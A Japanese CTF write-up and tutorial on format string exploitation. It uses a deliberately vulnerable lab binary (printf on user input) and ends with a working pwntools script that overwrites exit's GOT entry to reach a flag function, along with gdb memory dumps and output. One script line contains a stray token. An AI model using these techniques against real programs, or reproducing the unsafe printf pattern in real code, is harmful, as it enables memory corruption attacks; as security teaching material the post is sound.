CTFするぞ

CTF以外のことも書くよ

Format String Exploitを試してみる

はじめに

真面目にpwnを勉強していきたいので復習も兼ねて1から整理していこう,ということで最初にFSBについてまとめてみます. FSBに関する分かりやすい説明はたくさんあるのですが,この記事ではグローバル変数に対するFSBの利用法を説明しようと思います.

Format String Bugとは

FSBはprintf関数のようなフォーマット文字列を扱う関数に起因する脆弱性です. 通常フォーマット文字列は次のような使い方をします.

printf("Message: %s", buf);

これは構わないのですが,次のようにフォーマット文字列の箇所に攻撃者が任意のデータを入れることができると問題が発生します.

printf(buf);

printfは"%s"や"%d"のようなフォーマットを見つけると,スタックから順番にデータを読み込んで処理します. したがって,bufに"%x%x%x"のような文字列が入っていると,スタック上のデータが表示されてしまいます. これがFormat String Bugと呼ばれる脆弱性なのですが,このようにスタック上のデータを漏洩してしまうだけでなく,スタック以外でもメモリ上のデータを漏洩,改竄することが可能になります.

攻撃対象

ちょっと前に開いた研究室内CTFの200点問題を例に説明します.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char buf[32];

void show_flag()
{
  FILE *fp;
  char *flag = (char*)malloc(64);
  fp = fopen("flag", "r");
  fread(flag, 1, 63, fp);
  fclose(fp);
  printf(flag);
  free(flag);
}

int main(void)
{
  int i;
  
  for(i = 0; i < 3; i++) {
    scanf("%31s", buf);
    printf(buf);
  }

  if (i == 0) {
    show_flag();
  } else {
    exit(1);
  }
  
  return 0;
}

Format String Exploitは基本的にASLRなどがあっても問題なく使えます.

$ gcc parrot.c -o parrot -fstack-protector -fno-PIE -no-pie

show_flag関数を呼べばOKなので,GOT Overwriteを目標に解いてみましょう.

FSBの基礎

メモリ上のデータを読む

FSBがあるので,次のような入力を与えるとスタック上のデータを見ることができます.

$ ./parrot
%p%p%p%p%p%p%p
0x804a0600xfff85d0c0x804875b0x10xfff85d040xfff85d0c(nil)

なお,scanfでは31文字しか入力を受け付けていないことに注意してください. また,このプログラムの場合FSBは3回使えます.(本当はもっと呼び出せるけど今回はそんなに使いません.) 次のように"%n$p"といった形で番号を与えることでスタック上の何番目のデータを処理するかを指定することができます.

$ ./parrot
%6$p
0xffce52dc
$ ./a.out
%8$p
0xf775b3c4

"%x"などはスタック上にある値をそのまま出力するだけですが,"%s"はその値をポインタとして読んでくれます. そのため,スタック上に読みたいアドレスが置かれていれば,その引数の番号を"%n$s"のように指定することでデータを読み出すことができます. もちろん読み出せないアドレスが指定されるとSegmentation Faultで終了します. printfに渡すバッファがローカル変数の場合,そのバッファ自体もスタック上に存在するので,"\xAA\xBB\xCC\xDD%n$s"のようなバイナリを送ることで任意のアドレスのデータを読み出すことも可能です. しかし今回はbufをグローバル変数にしたのでこの方法では特定のアドレスを渡すことはできません.

メモリ上にデータを書く

「man sprintf」でフォーマット指定子の一覧を見てみると,"%s"や"%d"といったよく使うものの他に,"%n"という興味深い指定子があります. この指定子では,printfが呼ばれてから%nを見つけるまでに出力された文字数を引数のポインタに書き込みます. ちょっと意味分かんないですが,例えば次のように使うとnに4が格納されます.誰が使うんだこれ.

printf("AAAA%n", &n);

とにかく,これを上手いこと使えばメモリ上にデータを書き込めそうです. 例えば次のようにすると,引数のアドレスに100という値を書き込むことができます.

printf("%100c%n", 1, &data);

これは非常に便利で,今回のように入力できる文字数に制限があるとき,「100文字+%n」を送らなくても「%100c%n」にまとめることができます. 他にも%hhnを使えば,1バイトだけ書き込むこともできます.

libcのベースアドレスを取得する

ASLRがかかっているときはlibcのベースアドレスが知りたくなります. 今回は使いませんが,GOT Overwriteによりlibcの関数を利用する場合はまずlibcのベースアドレスを取得しましょう. スタック上にlibc関連の関数のアドレスが存在すれば,これをリークすることができます. 今回のプログラムが実行中のスタックの様子をgdbで見てみましょう.

$ gdb -q ./parrot
gdb-peda$ b *0x80486d2
gdb-peda$ run
AAAA
gdb-peda$ x/32wx $esp
0xffffcd00:     0x0804a060      0x0804a060      0xffffcddc      0x0804875b
0xffffcd10:     0x00000001      0xffffcdd4      0xffffcddc      0x00000000
0xffffcd20:     0xf7fb53c4      0xffffcd40      0x00000000      0xf7e081b3
0xffffcd30:     0x08048710      0x00000000      0x00000000      0xf7e081b3
0xffffcd40:     0x00000001      0xffffcdd4      0xffffcddc      0xf7fd86b0
0xffffcd50:     0x00000001      0x00000001      0x00000000      0x0804a028
0xffffcd60:     0x080482b0      0xf7fb5000      0x00000000      0x00000000
0xffffcd70:     0x00000000      0xb021baa9      0x8eb9deb9      0x00000000

ここで注目してほしいのが,0xffffcd2cにある0xf7e081b3というアドレスです. gdbで見ると,__libc_start_main+243のアドレスであることが分かります.

gdb-peda$ x/4wx 0xf7e081b3
0xf7e081b3 <__libc_start_main+243>:     0xe8240489      0x000184f5      0x32e9c931      0x8bffffff

これはmain関数がreturnした際に戻るlibc内の関数のアドレスです. したがって,libcのベースアドレスは0xf7e081b3から__libc_start_main+243を引いた値になります. 私の環境では次のように__libc_start_mainは0x1a0c0にあるので,ベースアドレスは0xf7e081b3 - 0x1a0c0 - 243となります.

$ objdump -S -M intel /lib/libc-2.17.so | grep "__libc_start_main>"
0001a0c0 <__libc_start_main>:

実際に計算してみると,libcのベースアドレスと一致することが分かります.

gdb-peda$ vmmap
Start      End        Perm      Name
0x08048000 0x08049000 r-xp      /home/ptr/workspace/hatena/fsb/a.out
0x08049000 0x0804a000 r--p      /home/ptr/workspace/hatena/fsb/a.out
0x0804a000 0x0804b000 rw-p      /home/ptr/workspace/hatena/fsb/a.out
0xf7ded000 0xf7dee000 rw-p      mapped
0xf7dee000 0xf7fb2000 r-xp      /usr/lib/libc-2.17.so
0xf7fb2000 0xf7fb3000 ---p      /usr/lib/libc-2.17.so
0xf7fb3000 0xf7fb5000 r--p      /usr/lib/libc-2.17.so
0xf7fb5000 0xf7fb6000 rw-p      /usr/lib/libc-2.17.so
0xf7fb6000 0xf7fb9000 rw-p      mapped
0xf7fd7000 0xf7fd9000 rw-p      mapped
0xf7fd9000 0xf7fda000 r-xp      [vdso]
0xf7fda000 0xf7ffc000 r-xp      /usr/lib/ld-2.17.so
0xf7ffc000 0xf7ffd000 r--p      /usr/lib/ld-2.17.so
0xf7ffd000 0xf7ffe000 rw-p      /usr/lib/ld-2.17.so
0xfffdc000 0xffffe000 rw-p      [stack]
gdb-peda$ p 0xf7e081b3 - 0x1a0c0 - 243
$1 = 0xf7dee000

メモリに書き込む

先程も書いた通り,今回はグローバル変数FSBなので任意のアドレスに書き込むことができないように思えます. ここで,もう一度スタックの状態を見てみましょう.

gdb-peda$ x/32wx $esp
0xffffcd00:     0x0804a060      0x0804a060      0xffffcddc      0x0804875b
0xffffcd10:     0x00000001      0xffffcdd4      0xffffcddc      0x00000000
0xffffcd20:     0xf7fb53c4      0xffffcd40      0x00000000      0xf7e081b3
0xffffcd30:     0x08048710      0x00000000      0x00000000      0xf7e081b3
0xffffcd40:     0x00000001      0xffffcdd4      0xffffcddc      0xf7fd86b0
0xffffcd50:     0x00000001      0x00000001      0x00000000      0x0804a028
0xffffcd60:     0x080482b0      0xf7fb5000      0x00000000      0x00000000
0xffffcd70:     0x00000000      0xb021baa9      0x8eb9deb9      0x00000000

0xffffcddcや0xffffcdd4といったアドレスがスタック上にあります.一方espは0xffffcd00なので,これらのポインタはFSBで参照できるスタック上のアドレスを指していることになります. このような「スタック上を指すポインタ」がスタック上にある場合,任意のアドレスに任意のデータを書き込むことができます. 例えば0xffffcd08に0xffffcddcというデータがあります.これを利用して0xdeadbeefに0x41414141を書き込む場合,次のようにします.

  1. 1回目のFSBで0xffffcddcに0xdeadbeefという値を書き込む
  2. 2回目のFSBで(0xffffcddcにある)0xdeadbeefに0x41414141を書き込む

ちなみに「スタック上を指すポインタ」の例としては,環境変数envpや実行時引数argvがあるので,大抵のプログラムでは見つけることができます. 具体的に送るデータを考えましょう.まず,0xffffcddcに0xdeadbeefを書き込むためには,0xffffcd08にあるアドレスを利用します. これは(0xffffcd08 - $esp)/4 = 2より2番目の引数にあたるので,0xdeadbeef(=3735928559)を書き込むには

%3735928559c%2$n

とします.次に,0xffffcddcは(0xffffcddc - $esp)/4 = 55より55番目の引数にあたるので,0x41414141(=1094795585)を書き込むには

%1094795585c%55$n

とします.

GOTを上書きする

プログラムが共有ライブラリの関数を使うとき,そこを直接参照するのではなく,GOT(Global Offset Table)と呼ばれる表に記載されたアドレスを参照します. このテーブルは標準では上書き可能かつアドレスが固定です. FSBでGOT内のある関数のアドレスを変更すれば,その関数が呼ばれるときに変更した方へジャンプしてくれます. したがって,今回はprintfの後に呼ばれるexitのGOTを書き換えてshow_flagのアドレスに変更すれば良さそうです. GOTのアドレスは次のようにreadelfで見られます.

$ readelf -r parrot
再配置セクション '.rel.dyn' (オフセット 0x3b0) は 2 個のエントリから構成されています:
 オフセット 情報    型              シンボル値 シンボル名
08049ffc  00000706 R_386_GLOB_DAT    00000000   __gmon_start__
0804a040  00000c05 R_386_COPY        0804a040   stdout@GLIBC_2.0

再配置セクション '.rel.plt' (オフセット 0x3c0) は 10 個のエントリから構成されています:
 オフセット 情報    型              シンボル値 シンボル名
0804a00c  00000107 R_386_JUMP_SLOT   00000000   setbuf@GLIBC_2.0
0804a010  00000207 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a014  00000307 R_386_JUMP_SLOT   00000000   free@GLIBC_2.0
0804a018  00000407 R_386_JUMP_SLOT   00000000   fclose@GLIBC_2.1
0804a01c  00000507 R_386_JUMP_SLOT   00000000   fread@GLIBC_2.0
0804a020  00000607 R_386_JUMP_SLOT   00000000   malloc@GLIBC_2.0
0804a024  00000807 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a028  00000907 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a02c  00000a07 R_386_JUMP_SLOT   00000000   fopen@GLIBC_2.1
0804a030  00000b07 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7

これよりexitのアドレスは0x0804a024に保管されることが分かります. また,pwntoolsでは次のように取得できるので便利です.

from pwn import *
elf = ELF("./parrot")
print(hex(elf.got['exit']))

では攻撃コードを作りましょう. 今回はargvのアドレスを利用してGOTを書き換えてみました.

from pwn import *

sock = remote("localhost", 4000)

parrot = ELF("./parrot")
got_exit = parrot.got['exit']
show_flag = 0x8048616

print("[+] exit.got = " + hex(got_exit))

# write got addr onto argv
payload = "%{0}c%17$n".format(got_exit)
sock.sendline(payload)
print("[+] Wrote &exit.got to argv")

# got overwrite
payload = "%{0}c%53$n".format(show_flag)
sock.sendline(payload)parrot

print("[+] Wrote &show_flag to exit.got")

# final round
sock.sendline("HOGEHOGE")

# get printed text
data = sock.recvall()
print data[-100:]

自分の環境で試すときはsocatを使うと便利です. 以下のようにすればローカルで4000番ポートにサービスを用意してくれます.

$ socat TCP-L:4000,reuseaddr,fork EXEC:./parrot

攻撃コードを実行すると,時間はかかりますがちゃんとフラグが取れます. ローカルでは10秒以内に終わりましたが,研究室で開催したときはみんな20秒くらいかかってた気がします.

$ python attack.py
[+] Opening connection to localhost on port 4000: Done
[*] '/home/ptr/workspace/school/ocamlab/5th/pwn200/parrot'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] exit.got = 0x804a024
[+] Wrote &exit.got to argv
[+] Wrote &show_flag to exit.got
[+] Receiving all data: Done (256.57MB)
[*] Closed connection to localhost port 4000
                                                      `HOGEHOGEflag-ik8b7RO0PESHYHNuXaWE0jZfpm0odD8h

問題自体は好評でしたが攻撃に時間がかかるのでリモートのCTFとかでは出題しにくいかなぁ.